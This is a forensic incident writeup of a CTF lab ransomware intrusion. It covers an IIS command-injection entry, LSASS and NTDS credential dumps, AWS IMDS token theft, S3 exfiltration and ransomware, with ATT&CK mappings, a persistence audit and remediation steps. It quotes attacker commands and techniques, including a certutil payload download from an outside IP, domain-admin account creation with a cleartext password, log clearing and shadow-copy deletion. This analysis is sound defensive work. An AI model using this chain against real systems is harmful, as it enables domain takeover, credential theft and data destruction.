20:01:16SVR01CreateRemoteThread beacon (PID 9112) → Explorer (PID 1332) · NewThreadId 10020Sysmon 8 — Addendum L
20:02:14SVR01net user serviceaccount /add /domain · DA add 51s laterSysmon 1 · Security 4728
20:03:30SVR01LSASS dump by injected TID 10020 · abedgdaa.dmp · UNKNOWN call-traceSysmon 10 0x1010 · Sysmon 11
20:08:44→20:09:04DC01Impacket secretsdump 5-stage danceSecurity 7045+4697 — Addendum C
20:09:06.721DC01LAFAdmin reads ZIFylmKF.tmp — NTDS pickupSecurity 5145 — Addendum O
20:13:26SVR01reg.exe DisableRestrictedAdmin=0 (hands-on-keyboard)Sysmon 13 T1101 — Addendum D
20:20:24SVR01DonPAPI SQLite shadow-copy of Chrome Login DataSysmon 11 + MFT — Addendum J
20:27:48+20:30:26SVR01FileZilla SFTP → 172.236.127.251:22 (alt exfil)Sysmon 1+3 · FZSFTP prefetch — Addendum F
20:35:29WS01Attacker RDP from 198.51.100.10 as LAFAdminSecurity 4624 Type 10 — Addendum M
21:03:54DC02IamBatman.exe dropped to SYSVOL by explorer.exeSysmon 11 — Addendum R
21:08:28SVR01LogDel.bat wipes 6 channels — misses Sysmon/OperationalSysmon 1 — Addendum H
21:25→21:29IISIMDSv2 3-step theft — PS transcript captures STS verbatimps_transcript — Addendum X
21:42:11AWSStolen STS first used off-instance from 212.8.249.213CloudTrail — 13-min gap
21:45:38 → 21:46:14AWSIAM CreateAccessKey × 4 · jb_aws_cli → LimitExceeded, then donnieworks / doctorderm / coolcat all SUCCEEDED (3 AKIA keys stockpiled · DD7 · DD16)CloudTrail — Addendum B (walked back by DD7)
21:49:16→19AWS164 S3 GetObject (sfcu-records, 3-sec burst)S3 Access Logs
21:58:36WS02Pre-detonation staging: vssadmin + 2× bcdeditSysmon 1 — Addendum T
22:01:19+22:04:36DC02WS02 pulls IamBatman.exe from SYSVOL (two reads)Security 5145
22:07:07+22:08:10DC02LAFAdmin opens sysAV.bat in notepad — final reviewSysmon 1 — Addendum G
22:08:40.416WS02IamBatman.exe encrypt C:\DETONATION · 1,790 files/60sSysmon 1
22:08:58.253WS02First encrypted file · ransom note itself encrypted 11ms laterSysmon 11
22:09:15.952WS01Scheduled task OlgyLYbd createdSysmon 11 — Addendum G
22:09:46→22:10:525 hostsShadow-wipe cascade (66s fan-out)Sysmon 1 — Addendum S
22:12:41SVR01IR login — localuser from 198.51.100.3Security 4624 Type 10 — Addendum M
22:46:45SVR01Memory capture — beacon still ESTABLISHED (2h 48m uptime)Vol3 netstat — Addendum W

Total dwell: 2h 44m active attacker (18:38:29 → 22:10:52 · DD23) · total impact: 6,023 files encrypted + 2,530 ransom notes (DD13) · ntds.dit + DPAPI masterkeys + 164 S3 objects (decoy, DD17) exfiltrated · 3 live AKIA keys stockpiled (DD7 + DD16). Earliest Kerberos-visible signal (19:33:20 IIS-SERV-PROD$ TGT from WAN) would have MTTD-reduced this attack by 2h 22m — the DFIR story here is: visibility existed, nothing watched.

MI. Full MITRE ATT&CK mapping — every observed TTP with evidence cite + detection control

IDTechniqueEvidence anchorAddendum
T1190Exploit Public-Facing App (IIS command injection on CheckStatus.aspx)IIS · Sysmon 1 @ 18:51:41.644 · w3wp.exe → cmd.exe → curl+certutilZ, Detective
T1059.003cmd.exe / 1059.001 PowerShellrepeated across all hosts throughout chainZ
T1105Ingress Tool Transfer (certutil LOLBIN for so.aspx + iis.exe download)IIS · Sysmon 1 certutil -urlcache to 173.230.136.180Detective Act 1
T1505.003Web Shell (so.aspx)IIS inetpub/wwwroot/so.aspx · Sysmon 11 @ 18:51:55Z
T1574.010 / T1222.001ACL weakness on C:\TFTP Server\ (file/folder permissions modification abuse)IIS · Sysmon 11 @ 19:16:52 · DefaultAppPool overwrites SolarWinds.exeCorrections banner, Z, Detective
T1543.003Create/Modify System Service (SolarWindsTFTP auto-start hijack)IIS · System 7036 @ 19:38:02 after Donny's rebootH, U
T1021.002SMB/Windows Admin Shares (ADMIN$ drop of rnSylwOz.exe)SVR01 · Sysmon 11 @ 19:58:38 from 198.51.100.10C
T1055 / T1055.003Process injection via CreateRemoteThread into explorer.exeSVR01 · Sysmon 8 @ 20:01:16.676 · NewThreadId 10020 · StartModule="-"L, PI
T1134.001Access Token Manipulation (impersonation via injected Explorer running as LAFAdmin)SVR01 · every LAFAdmin cmd 20:02–21:08 has ParentImage=explorer.exe, with no 4624 Type 10 for LAFAdminPI.3
T1003.001LSASS Memory dump (via injected thread, not LOLBIN)SVR01 · Sysmon 10 @ 20:03:30.861 · GrantedAccess 0x1010 · CallTrace ends in UNKNOWN(...)L
T1136.002Create Domain Account (serviceaccount)SVR01 · Sysmon 1 @ 20:02:14 · net user /add /domainZ, PI.3
T1098Account Manipulation (add to Domain Admins)DC01 · Security 4728 @ 20:03:05Z
T1003.003NTDS.dit via VSS shadow copy (impacket secretsdump 5-stage)DC01 · Security 7045 × 5 @ 20:08:44–20:09:04 · 5145 pickup @ 20:09:06.721C, O
T1555 / T1555.003Credentials from Password Stores (Chrome Login Data · DonPAPI)SVR01 · Sysmon 11 @ 20:20:24 · 4× Chrome SQLite shadow-copy in 55 msJ
T1555.004DPAPI MasterKey backupWS01 · EID 8200 @ 20:36:01 · GUID 643BA668-… · empty EncryptCredIDJ
T1021.001Remote Desktop Protocol (Pass-the-Hash via DisableRestrictedAdmin)WS01 · Security 4624 Type 10 @ 20:35:29 from 198.51.100.10M
T1112Modify Registry (DisableRestrictedAdmin=0 × 4 hosts)SVR01/WS01/DC02/WS02 · Sysmon 13 @ 20:13/20:34/20:45/21:57D
T1546.012IFEO Debugger (taskmgr.exeaws_backup.exe on WS01)WS01 · Sysmon 13 @ 20:37:35Z, PR
T1053.005Scheduled Task (6 tasks, one per host, random 8-char names)TaskScheduler 106: iEMKOmOw (WS02 pre-stage), mIglpUCO (WS02), OlgyLYbd (WS01), pRlGOUon (SVR01), Kypxgyzl (DC01), WZWkUVGL (DC02)G, PR
T1560.001Archive via utility (makecab → data.cab)SVR01 · Sysmon 1 msupdate.exe @ 20:20s (= makecab.exe renamed · VT confirmed)F, Detective
T1048.002 / T1041Exfil over alternate protocol (SFTP → 172.236.127.251:22)SVR01 · Sysmon 1+3 fzsftp.exe @ 20:27:48 + 20:30:26F
T1552.005IMDSv2 credential theft (3-step chain)IIS · ps_transcript 8201 @ 21:25:35 + 21:28:07 + 21:29:20X
T1550.001Use of STS token from off-instance IPCloudTrail @ 21:42:11 · GetCallerIdentity from 212.8.249.213CM
T1530Data from Cloud Storage (164 S3 GetObjects)S3 Access Logs · 21:49:16–19 · bucket sfcu-recordsEX
T1098.001Additional Cloud Credentials via CreateAccessKey — 1 failed on quota, 3 SUCCEEDED (stockpiled AKIA keys, never used in capture window)CloudTrail @ 21:45:38 (LimitExceeded) · 21:45:51 · 21:46:04 · 21:46:14 (Success)B · DD7 · DD16
T1070.001Clear Windows Event Logs (wevtutil cl × 6 channels)SVR01 · Sysmon 1 @ 21:08:28 · LogDel.batH
T1070.004File Deletion (data.cab RENAME_OLD_NAME @ 20:31:17)SVR01 · USN 2110 @ 20:31:17F
T1490Inhibit System Recovery (vssadmin delete shadows + bcdedit)WS02 · Sysmon 1 @ 21:58:36 + 22:08:40 · 5-host cascade 22:09:46–22:10:52S, T
T1486Data Encrypted for Impact (IamBatman.exe · 6,023 files + 2,530 notes · DD13)WS02 · Sysmon 1 @ 22:08:40.416 · Sysmon 11 × 2,014 on WS02 alone · USN last-encrypt at 22:56:42R, S, G, DD12, DD13
T1072SYSVOL as distribution (AD-native DFSR replication)DC02 · Sysmon 11 @ 21:03:54 IamBatman.exe + 21:04:05 sysAV.bat dropped by explorer.exeR

29 sub-techniques mapped. Every row is backed by a specific EID/channel/host/UTC + the Addendum that contains the full evidence. The bolded techniques are the pillars of this campaign (exploit → writable-ACL privesc → injection → LSASS → NTDS VSS → IMDS → S3 → ransomware).

PR. Persistence audit — what did the attacker leave behind that could still be active

Checked every standard persistence location (MITRE T1546/T1547/T1543/T1053/T1136) against the corpus. Results:

Persistence typeQueryResultActive?
Scheduled tasks (T1053.005)TaskScheduler EID 106 with UserContext=LAF\LAFAdmin during attack6 tasks dropped, one per host: iEMKOmOw (WS02 21:58:33 pre-stage) · mIglpUCO (WS02 22:08:39) · OlgyLYbd (WS01 22:09:15) · pRlGOUon (SVR01 22:09:42) · Kypxgyzl (DC01 22:10:13) · WZWkUVGL (DC02 22:10:52). All 8-char random names, all LAFAdmin, all SYSTEM-elevated.UNKNOWN — tasks may still exist in C:\Windows\System32\Tasks\ on each host. Requires manual verification on each recovered box.
IFEO Debugger (T1546.012)Sysmon 13 · TargetObject LIKE %Image File Execution Options%Debugger%WS01 · 20:37:35 · taskmgr.exe\Debugger = C:\ProgramData\aws_backup.exeLIKELY ACTIVE — registry key + payload binary must be removed on WS01. This fires every time anyone opens Task Manager.
Services (T1543.003)Security 7045 attacker-installed services (not impacket transients)IIS · SolarWindsTFTP already existed legitimately; the attacker's hijack was a binary overwrite, not a new serviceREQUIRES BINARY CLEANUPC:\TFTP Server\SolarWinds.exe must be replaced with the original; ACL must be locked down so DefaultAppPool can't overwrite
Run/RunOnce keys (T1547.001)Sysmon 13 · TargetObject LIKE %CurrentVersion\Run% during attackNo attacker-planted Run entries observed. Only OneDrive/Teams/RunNotification entries from legitimate app installs post-logon.CLEAN — no T1547.001 residue
WMI Event Subscription (T1546.003)Sysmon 19/20/21 · EventConsumer / EventFilter installsNo attacker-driven events — only legitimate Windows WMI activityCLEAN
Startup folder (T1547.001)MFT · parent_ref matching \Start Menu\Programs\StartupNo attacker drops in the per-user or per-machine Startup foldersCLEAN
AppInit_DLLs / AppCertDllsSysmon 13 · TargetObject LIKE %Windows NT\CurrentVersion\Windows\AppInit_DLLs%No registry writes observedCLEAN
Domain-admin account (T1136.002)Security 4720 + 4728 for serviceaccountAccount created 20:02:14 SVR01, added to Domain Admins 20:03:05 DC01, password P@ssw0RD1!CRITICAL — still in AD. Must be disabled/deleted. Any known-to-attacker cleartext (P@ssw0RD1!) + Domain Admin = live foothold if account isn't removed.
On-disk beacons + LogDel.batMFT · attacker file pathsC:\Windows\Temp\iis.exe, C:\TFTP Server\SolarWinds.exe, C:\Windows\rnSylwOz.exe, C:\ProgramData\LogDel.bat, C:\ProgramData\aws_backup.exeACTIVE DROPS on disk. Must be hashed, preserved as evidence, then purged.
SYSVOL artifactsDC02 sysvol reads\\DC02\sysvol\IamBatman.exe + sysAV.bat dropped 21:03:54 / 21:04:05 — DFSR-replicated to every DCCRITICAL — present on every DC via replication. Deletion from one DC propagates.

Residual risk ranked: (1) serviceaccount Domain Admin account with cleartext password is the single highest-impact residual artifact — it represents persistent DA access until removed. (2) 6 scheduled tasks may still fire. (3) IFEO Debugger on WS01 will trip every Task Manager open. (4) C:\TFTP Server\ writable ACL needs fixing so the trick isn't repeatable. (5) krbtgt was exfil'd — see Addendum KT.

IR. Post-detonation activity — CTF-author lab collection, not defender incident response

Reader correction: earlier drafts of this writeup called the 22:12-22:46 activity "incident response". On closer inspection that framing is wrong. The localuser user is explicitly out-of-scope per the CTF engagement prompt ("localuser is out of scope"), logging in from 198.51.100.3 — the same WireGuard VPN range the CTF author operates the lab from. The activity captured here is almost certainly the CTF-author / lab-framework forensic pack-up that produces the KAPE triage bundle that CTF players receive — not a defender reacting to the attack. The distinction matters: no network isolation, account disable, AD rollback, Kerberos review, or scheduled-task enumeration was performed, which would be unacceptably thin for real IR but expected for a lab-collection script.

Command trail piece from Sysmon EID 1:

UTCHostAction
22:12:41SVR01First localuser RDP · Type 10 · from 198.51.100.3 (WireGuard range, out-of-scope per CTF rules)
22:15:40 → 22:46:09DC02/WS01/WS02/SVR01 (×6 sessions)Lab-framework hops across 5 hosts — same RDP source
22:20:00WS02PowerShell -ExecutionPolicy Bypass running Ludus background script (auto-triggered on logon — not an action)
22:20:37WS01curl -k https://bigmac.io.s3.amazonaws.com/kape.zip -o kape.zipbigmac.io is Ali Hadi's DFIR training domain. This is the CTF/lab framework pulling KAPE to build the triage bundle players later receive.
22:21:10WS02curl -k https://bigmac.io.s3.amazonaws.com/kape.zip -o kape.zip — same lab-pull on WS02
22:29:04SVR01whoami.exe — lab-script sanity check (consistent with scripted collection, not investigator)
22:29:16WS02whoami.exe — same
22:46:45SVR01Memory image capture (per Addendum W) — part of the lab-framework's triage pack-up, NOT defender memory acquisition. Likely via DumpIt or Ludus-provisioned capture tool.

Tool stack observed: KAPE (live triage) + memory-capture utility (at 22:46:45). Not observed: any containment action. Which is the tell — this isn't an IR team. If it were, we'd see one of: reg delete HKLM\System\CurrentControlSet\Services\SolarWindsTFTP (remove the hijacked service), net user serviceaccount /domain /delete (kill the DA backdoor), Disable-ADUser against compromised users, Stop-Computer on one of the 5 ransomware hosts to preserve the memory state before shutdown, or even a Get-ScheduledTask | Where {$_.TaskName -match "^[A-Za-z]{8}$"} to enumerate the 6 random-name attacker tasks. None of that fires. The curl -k kape.zip pattern is scripted lab-side collection for the packaged triage that analysts (us) then receive.

Therefore: for a real-world translation of this chain into defender playbooks, treat the 22:12-22:46 window as not part of the intrusion. The actual incident ends at 22:10:52 when the shadow-wipe cascade finishes. Anything after that in our corpus is the forensic evidence pack-up. A real IR on an equivalent environment would be starting its clock now — after collecting memory, prefetch, MFT, USN, registry, EVTX, browser artifacts, and CloudTrail — and would need to execute every remediation step in Addendum PR.

FA. Forensic artifacts — Amcache / SRUM / Shellbags present on disk but NOT in corpus

Our corpus has registry (71,106 rows from parsed hives), mft (1.46M), usn (1.83M), lnk (452), browser_*, iis, ps_transcript, evtx, cloudtrail, guardduty, s3_access, volatility. Not ingested: Amcache, Shellbags (within NTUSER.DAT), SRUM. These three artifacts would have provided additional corroborating evidence from independent Windows subsystems:

ArtifactFile on diskCross-corroboration this would add
Amcache.hveSVR01_Kape/C/Windows/AppCompat/Programs/Amcache.hve (confirmed present)SHA1 hash of every executed binary on disk, including iis.exe, rnSylwOz.exe, FileZilla_3.69.6…setup.exe. Survives prefetch deletion and is an additional integrity check against Sysmon EID 1 hashes. Parse with RegRipper or Andrew Rathbun's AmcacheParser.
ShellbagsSVR01_Kape/C/Users/LAFAdmin/NTUSER.DAT and UsrClass.datRecords every Explorer folder navigation. Would show LAFAdmin-context navigation to C:\Share\Project Frog.txt, C:\Share\Admin\ToDo.txt, C:\Share\Legal\txt\clients.txt — corroborates the injected-beacon recon activity captured in Addendum PI.3. Parse with SBECmd (Eric Zimmerman tools).
SRUM (SRUDB.dat)C:\Windows\System32\sru\SRUDB.dat (NOT in this KAPE bundle — KAPE default profile skips it)Per-process network + disk + CPU usage hourly bins. Would show rnSylwOz.exe's byte-count to 173.230.136.180:8443 — a second network-volume data source beyond CloudTrail/S3. Missing from bundle; would have required a KAPE target extension.

Recommendation for next KAPE collection: add targets !Amcache, ShellBags (default), SRUM (requires VSS to snapshot live). For our case, the existing corpus already proves the kill chain — these artifacts are corroborating, not required. But for a court-admissible IR report, multi-source corroboration from an independent subsystem (Amcache: AppCompat; Shellbags: user hive) is the gold standard.

EX. S3 exfiltration inventory — what was actually taken

Bucket: sfcu-records · Objects: 164 · Bytes: 11,327 · Window: 2026-03-08 21:49:16 → 21:49:19 (3-second burst) · Actor: role iam_role_iisserver used from 212.8.249.213 (WorldStream NL).

Object names fall into 7 folder prefixes:

PrefixSample filenamesClassification guess
Accounting/CRITICAL_FAILURE_budget_for_more_coffee_v2.xlsx · PLEASE_READ_synergy_report_USE_THIS_ONE.pptx · DRAFT_synergy_report_v3_final_copy_FINAL.xlsxFinancial (hypothetical)
Executive_Suite/CONFIDENTIAL_reasons_why_the_printer_hates_us_FINAL.csv · IGNORE_THIS_evidence_of_the_breakroom_ghost_OLD_DO_NOT_USE.pdf · URGENT_reasons_why_the_printer_hates_us_OLD_DO_NOT_USE.csvC-suite / strategy
HR/CRITICAL_FAILURE_passive_aggressive_email_template_DRAFT_DO_NOT_EDIT.xlsx · DO_NOT_OPEN_expense_report_for_emotional_support_otter_FOR_REAL_THIS_TIME.pdfPersonnel
IT_Support/CONFIDENTIAL_stolen_yogurt_investigation_v3_final_copy_FINAL.xlsx · URGENT_pizza_party_waiver_OLD_DO_NOT_USE.docxHelpdesk tickets
Legal/DRAFT_stolen_yogurt_investigation_OLD_DO_NOT_USE.pdf · FINAL_synergy_report_USE_THIS_ONE.xlsxLegal (#JustaLawyer folder)
Marketing/DRAFT_synergy_report_DRAFT_DO_NOT_EDIT.xlsx · CRITICAL_FAILURE_reasons_why_the_printer_hates_us_v3_final_copy_FINAL.pdfExternal comms
The_Basement/DRAFT_pizza_party_waiver_ACTUALLY_THIS_ONE.csv · RE_RE_RE_RE_RE_unpaid_intern_tracking_ACTUALLY_THIS_ONE.csvMisc / unsorted
⟲ WALKED BACK by DD17: the 164-object exfil was a decoy honeypot, not real data. Reconstructing the full filename inventory from CloudTrail requestParameters.key shows sfcu-records is an author-designed script-seeded bucket: 7 departments with near-uniform ~23 objects each (Executive_Suite 31 · HR 30 · Accounting 24 · IT_Support 22 · Marketing 21 · The_Basement 19 · Legal 17), 25–29 objects per extension (.pptx/.pdf/.tmp/.xlsx/.csv/.docx), and 11 parody topics (stolen_yogurt_investigation, expense_report_for_emotional_support_otter, budget_for_more_coffee, evidence_of_the_breakroom_ghost). Filename pattern {Dept}/{URGENCY_TAG}_{TOPIC}_{SUFFIX}.{ext} with 8 urgency prefixes engineered to bait greedy exfil. Meta: the 164 LOUD GetObjects are classic alert-fatigue tradecraft — drawing defender triage away from the quiet 3 CreateAccessKey persistence calls (DD16), which are the actual high-value action.

Corrected breach-notification reading (DD17): the access was real (164 successful GetObjects under a stolen STS session) but the content was not — no genuine PII, privileged legal material, or financial records left the environment. The usable attacker takeaway is "proof of access" for resale, not operational intelligence. The real residual-damage story lives in DD16 (3 stolen long-term AWS keys never used in the capture window = stockpile persistence). A real IR would still: (1) confirm no real bucket shared the same access-path chain, (2) pull S3 Access Logs for the preceding 30 days to baseline normal access, (3) revoke the 3 DD16 keys immediately.

Note on the sample filenames above: kept verbatim as transmitted — they are the decoy payload, not sanitised placeholders. That the filenames read as parody is DD17's primary proof.

DW. Dog that didn't bark — defensive controls that actually worked

Not every part of this environment failed. Three specific controls prevented worse outcomes:

  1. DefaultAppPool's missing SeStart/ChangeServicePrivilege → blocked the 19:17:04 sc start SolarWindsTFTP attempt. Attacker had to wait 20 minutes for Donny's reboot. In a world where DefaultAppPool had service-control rights (IIS misconfigurations that grant this are surprisingly common), detonation would have happened at 19:17 instead of 22:08 — 2h 51m earlier. Effect: slowed the operator but did not stop them.
  2. AWS AccessKeysPerUser quota (hard limit: 2) — blocked one of four CreateAccessKey attempts (jb_aws_cli at 21:45:38, already at 2 keys). Effect: did NOT prevent persistence. ⟲ Walked back by DD7 / DD16: the attacker pivoted immediately and succeeded on three other users (donnieworks / doctorderm / coolcat) in the next 25 seconds, minting three long-term AKIA keys that remain live. Original entry is retained here only because the quota did fire correctly on the target it applied to — it just didn't change the outcome.
  3. Sysmon coverage broader than LogDel.bat's scope → the attacker's LogDel.bat cleared Microsoft-Windows-PowerShell/Operational, TaskScheduler/Operational, and the classic three (System, Security, Application). It did NOT clear Microsoft-Windows-Sysmon/Operational — every post-21:08 event on SVR01 (LogDel.bat itself, DonPAPI sweep, FileZilla exfil, IMDSv2 theft) is fully reconstructible from Sysmon. Effect: the attacker cannot hide their tradecraft after 21:08.

Not-defensive-but-still-relevant: Donny's routine reboot at 19:37:35 was the trigger for the attacker's SYSTEM execution (Addendum U). That's a user action, not a control. If Donny hadn't rebooted, the planted binary would have executed eventually anyway (patch Tuesday, Windows Update, etc.) — the attacker's auto-start-service plant guaranteed eventual execution. So the "accidental cooperation" framing is technically correct but operationally inevitable in any normal admin environment.

KT. Krbtgt + Golden Ticket — the residual risk that permanent DA owns this domain until rotated twice

The NTDS exfil at 20:09:06.721 (Addendum O) extracted the complete AD credential store — including the krbtgt account's hash. Until krbtgt is rotated TWICE (the second rotation invalidates tickets issued against the first-rotation hash), the attacker can mint Golden Tickets — forged TGTs that authenticate any user to any Kerberos-authenticating resource in the domain, bypassing password changes, account disables, and even AD rebuilds that preserve the SYSVOL.

Evidence chain: Security 7045 on DC01 @ 20:09:03 installed service SOUwKZNf with ImagePath copying \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit to %SYSTEMROOT%\Temp\ZIFylmKF.tmp. Security 5145 @ 20:09:06.721 shows LAFAdmin reading \\DC01\ADMIN$\Temp\ZIFylmKF.tmp over SMB. At that moment the ntds.dit file content, including krbtgt, was transferred off DC01.

Remediation requirement:

  1. Rotate krbtgt password twice, at least 10 hours apart (to allow replication between rotations). Use the Microsoft-provided New-KrbtgtKeys.ps1 script or manual: Get-ADUser krbtgt -Properties PasswordLastSet; Reset-ADAccountPassword -Identity krbtgt (twice).
  2. Run a Golden Ticket detection between the two rotations: look for Security 4769 events where TicketEncryptionType is 0x17 (RC4-HMAC) when your domain's default is AES-256 (encryption downgrade is a Golden Ticket indicator). Also look for anomalous LogonId values in 4769.
  3. After both rotations, rotate every service account whose hash was in ntds.dit — every domain user password, because the krbtgt is the only way to forge tickets but the dump also exposed every user's NTLM hash for direct PtH.
  4. Audit for SID-history entries that could indicate earlier Golden Ticket use (Get-ADUser -Filter * -Properties SIDHistory — unexpected SIDs are a red flag).

Timeline note: the attacker did NOT need to do DCSync (T1003.006) because they chose the VSS shadow-copy path — that's why there's no 4662 DRS-REPLICATION-GET-CHANGES event. The operator explicitly preferred the noisy impacket service-install pattern over the quieter DCSync because they already had interactive DA credentials; DCSync would have required a different context. From an IR perspective, the outcome is identical: krbtgt is compromised, full forest rebuild is the safe answer.

TC. Cross-host timing — operator speed / automation signal

Certain actions fired on multiple hosts in tight windows, indicating either scripting or very fast operator reflex:

ActionHosts / TimesDeltaInterpretation
DisableRestrictedAdmin=0SVR01 20:13:26 · WS01 20:34:49 · DC02 20:45:01 · WS02 21:57:0721m / 10m / 72m between hopsFirst is hands-on (reg.exe as LAFAdmin). Remaining three are remote-registry (LOCAL SERVICE) — consistent with impacket reg.py or a short loop. Gaps between hops suggest the operator paused to do DPAPI/RDP work in between, not an automation script.
Scheduled-task detonationWS02 22:08:39 · WS01 22:09:15 · SVR01 22:09:42 · DC01 22:10:13 · DC02 22:10:5236s · 27s · 31s · 39s (spacing between)Tight, regular 30–40 s cadence. Consistent with a scripted loop that SMB-queues tasks across hosts — the operator did not touch each host individually. Task names are 8-char random consistent with impacket-style generation.
Shadow-copy deletionWS02 22:08:40 · WS01 22:09:16 · SVR01 22:09:43 · DC01 22:10:14 · DC02 22:10:525-host cascade in 132 sFires alongside each encryption — either embedded in IamBatman's binary or triggered by the per-host scheduled task. Cadence matches the scheduled-task deployment.
IMDSv2 3-step chain21:25:35 PUT · 21:28:07 GET enum · 21:29:20 GET creds2m 32s · 1m 13sDeliberately slow, even for a script — the operator inserted explicit delays between steps to avoid IMDS rate-limit detection. Consistent with a "careful script" pattern, not interactive typing.

Inference: the operator used automation for lateral fan-out (task-creation loop) but interactive operation for credential theft (DPAPI/RDP with manual pauses). Mixed mode. This is consistent with Unknown C2's model where the operator types shell or exec commands through the TeamServer, but bulk operations (BOFs, fan-out loops) can be scripted.

AV. Defender / EDR posture — it was running, it didn't catch anything

Windows Defender was active on WS01 (and presumably other hosts) during the attack. Evidence:

  • WS01 · Sysmon 1 @ 20:41:40.798 · MpCmdRun.exe version 4.18.26010.5 launched for scheduled tasks: "Windows Defender Cache Maintenance", "Windows Defender Scheduled Scan", "Windows Defender Cleanup". Defender WAS running with a current engine.
  • Every scheduled-scan task result returned Status 0x2 / ResultCode 2147942402 = ERROR_FILE_NOT_FOUND (0x80070002) — unusual for a healthy install, suggests Defender's quick-scan couldn't locate its expected target paths.
  • NO detection events were captured in the corpus. The Microsoft-Windows-Windows Defender/Operational channel is not ingested in our SQLite, so Defender-specific detection EIDs (1006/1007/1015/1117/1118) aren't visible. Our only data points are Defender's scheduled-task scaffolding events, not scan verdicts.
  • The attacker's beacon evaded detection because: (1) the injected stub is a fresh, never-submitted Unknown C2 build — no signature match; (2) the injection is via CreateRemoteThread + unbacked code in Explorer's address space — Defender's signatures key on file-on-disk or on known unbacked-memory patterns it wasn't tuned for; (3) the commands the beacon ran (reg add, net user, wevtutil cl) are all LOLBIN operations that Defender doesn't flag without explicit context.

What EDR would have caught: a real EDR (CrowdStrike Falcon, SentinelOne, Defender for Endpoint advanced) would have flagged: (a) the net user /add /domain command spawned from explorer.exe on a host where the parent user has no interactive session, (b) the CreateRemoteThread with unbacked start address, (c) wevtutil cl Microsoft-Windows-PowerShell/Operational by an ordinary user account, (d) IamBatman.exe writing 1,791 files with a novel extension in 60 seconds. Stock Windows Defender doesn't have EDR-grade behavioral detection; it's AV. The environment needed EDR, and didn't have it.

CM. CloudTrail MITRE ATT&CK — cloud-side TTPs mapped

IDTechniqueEvidence anchor
T1552.005Unsecured Credentials: Cloud Instance Metadata API (IMDSv2 role theft)IIS · ps_transcript EID 8201 · PUT /latest/api/tokenGET /iam/security-credentials/GET …/iam_role_iisserver (Addendum X)
T1078.004Valid Accounts: Cloud Accounts (use of stolen iam_role_iisserver STS)CloudTrail assumed-role/iam_role_iisserver/i-00779ebad43b2470d events from 212.8.249.213 at 21:42:11+
T1550.001Use Alternate Authentication: Application Access TokenCloudTrail · STS session ASIA[REDACTED-FOR-PUBLICATION] used off-instance
T1087.004Account Discovery: Cloud Account (implicit via GetCallerIdentity)CloudTrail @ 21:42:11 · cid "Head in the Clouds 6"
T1098.001Account Manipulation: Additional Cloud Credentials — 3 successful (stockpiled, never used in capture window) + 1 quota-blocked attemptCloudTrail 21:45:38 LimitExceeded · 21:45:51 / 21:46:04 / 21:46:14 CreateAccessKey SUCCESS (Addenda B · DD7 · DD16)
T1530Data from Cloud Storage ObjectS3 Access Logs · 164 GetObjects on sfcu-records @ 21:49:16–19 (Addendum EX)
T1567.002Exfiltration to Cloud Storage (the data left via S3; though in our case the attacker read FROM S3 to their own infra)CloudTrail GetObject events routed from 212.8.249.213

Cloud-side residual: the STS session expired at 2026-03-09T03:42:10Z (6-hour TTL). The attempted CreateAccessKey was blocked by quota. No persistence established in AWS. But: CloudTrail/S3 logs must be preserved with legal hold; the role iam_role_iisserver should be rotated (new role, new trust policy, update EC2 user-data); AWS support should be engaged for account activity review (the attacker may have attempted other API calls that returned errors and aren't in this cid-focused dataset).

AC. Attribution confidence rubric — how firm is every claim?

ClaimConfidenceBasis
C2 family = Unknown C2 FrameworkHIGH5 independent binary-level matches to C2 source (Addendum AA / sec-c2attrib). evidence-supported.
Injection into Explorer PID 1332 at 20:01:16HIGHSysmon EID 8 single-record + matching ThreadId 10020 in later LSASS-dump EID 10 (Addendum L). Thread-identity continuity.
Privesc primitive = writable ACL on C:\TFTP Server\HIGHDirect Sysmon EID 11 showing DefaultAppPool overwriting SolarWinds.exe. The binary replacement is certain.
Donny's reboot trigger = routine GP troubleshootingHIGHSysmon EID 1 chain shows gpupdate + 6× gpresult + lusrmgr.msc pre-reboot (Addendum U). Admin-activity pattern.
NTDS.dit exfiltratedHIGH5-service impacket dance + ADMIN$ read of ZIFylmKF.tmp (Addendum C+O).
STS credentials stolen & used off-instanceHIGHPowerShell transcript captures the credentials verbatim + CloudTrail 212.8.249.213 usage (Addendum X).
LogDel.bat missed Sysmon/OperationalHIGH6 wevtutil cl commands enumerated; Sysmon/Operational not among them; subsequent Sysmon events still in corpus (Addendum H).
Beacon tradecraft = custom-compiled per-campaignMEDIUMCompile timestamp 2026-03-08 20:00:25 is plausible; can be forged. Supporting evidence: VT "Item not found" for beacon hashes, C2 source match with specific distinctive export. Counter: timestamp could be backdated; same actor could reuse an older build and the RE match would still be Unknown C2.
Operator timezone = Central EuropeanLOWWorldStream NL + evening UTC = compatible with CET but compatible with half the world. Weak signal; not a confident attribution.
IamBatman self-preservation (DC02 abort)MEDIUMDC02 encryption stopped at 5 files vs 497+ on other hosts. Consistent with a self-check in the ransomware but also consistent with manual IR stop or OS-level issue. Need binary RE of IamBatman.exe to confirm.
Attacker identity (Saiyan Spider)UNCITED"Saiyan Spider" is a CTF-author-assigned tracking name, not a field-derived attribution. No behavioral/infra overlap to any public threat-actor group documented here. Do not treat as attribution.

ES. Executive summary — one page for the CISO

Event class: Multi-stage intrusion by an organized-crime-tier actor (S2) resulting in full domain compromise and ransomware impact. 164 minutes from true initial probe to cascade completion (18:38:29 → 22:22 · DD23); 2h 44m active dwell (to 22:10:52). Detection did work (3 GuardDuty fires starting 21:57:18 · DD18.2) — response did not, and the 11-minute missed-response window (21:57 → 22:08) elapsed unacted.

Initial access: OS command injection in a public-facing IIS application (CheckStatus.aspx). The operator exploited a single unvalidated query parameter at 18:51:41 UTC, used certutil to drop a custom Unknown C2-C2 beacon into the IIS worker process's %TEMP%, and established egress to a Linode VPS on 173.230.136.180:8443.

Privilege escalation to SYSTEM came through a writable-ACL misconfiguration on C:\TFTP Server\ that let the IIS application-pool user overwrite a legitimate auto-start service binary. An unrelated reboot by a domain administrator 20 minutes later triggered the replaced binary as SYSTEM.

Lateral movement used SMB-admin-share service-install (impacket pattern) to reach SVR01. The beacon then injected into Explorer.EXE (Sysmon EID 8 at 20:01:16) and used the injected thread to dump LSASS and harvest the LAFAdmin credentials. From SVR01's beacon context, the operator:

  • Created a domain-admin account (serviceaccount / P@ssw0RD1!)
  • Dumped the complete Active Directory credential store (ntds.dit) via a 5-stage impacket secretsdump — exfiltrating every user's NTLM hash and the krbtgt key
  • Enabled Pass-the-Hash across 4 hosts via registry flip of DisableRestrictedAdmin=0
  • Harvested Chrome Login Data via DonPAPI
